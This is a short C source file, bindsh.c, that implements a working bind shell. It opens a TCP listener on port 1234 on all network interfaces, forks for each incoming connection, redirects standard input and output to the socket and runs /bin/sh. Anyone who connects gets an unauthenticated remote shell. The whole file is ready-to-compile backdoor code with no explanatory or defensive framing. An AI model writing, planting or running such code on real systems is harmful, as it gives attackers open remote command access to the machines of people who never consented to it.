bindsh.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>

int main(int argc, char **argv) {
	int lsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(lsock == -1) {
		fprintf(stderr, "socket() failed.\n");
		return EXIT_FAILURE;
	}

	struct sockaddr_in laddr;
	laddr.sin_family = AF_INET;
	laddr.sin_port = htons(1234);
	laddr.sin_addr.s_addr = htonl(INADDR_ANY);
	memset(&laddr.sin_zero, 0, sizeof(laddr.sin_zero));
	if(bind(lsock, (struct sockaddr *) &laddr, sizeof(laddr)) == -1) {
		fprintf(stderr, "bind() failed.\n");
		close(lsock);
		return EXIT_FAILURE;
	}

	if(listen(lsock, 0) == -1) {
		fprintf(stderr, "listen() failed.\n");
		close(lsock);
		return EXIT_FAILURE;
	}

	for(;;) {
		struct sockaddr_in raddr;
		socklen_t raddr_len = sizeof(raddr);
		int rsock = accept(lsock, (struct sockaddr *) &raddr, &raddr_len);
		if(rsock == -1) {
			fprintf(stderr, "accept() failed.\n");
			close(lsock);
			return EXIT_FAILURE;
		}

		int pid = fork();
		if(pid == -1) {
			close(rsock);
			close(lsock);
			return EXIT_FAILURE;
		} else if(pid == 0) {
			// Redirect stdin, stdout and stderr to the socket.
			if(dup2(rsock, 0) == -1 || dup2(rsock, 1) == -1 || dup2(rsock, 2) == -1) {
				fprintf(stderr, "dup2() failed.\n");
				close(rsock);
				close(lsock);
				return EXIT_FAILURE;
			}
			char *sh_argv[] = {"/bin/sh", NULL};
			int status = execv(sh_argv[0], sh_argv);
			close(rsock);
			close(lsock);
			return status;
		}
	}
}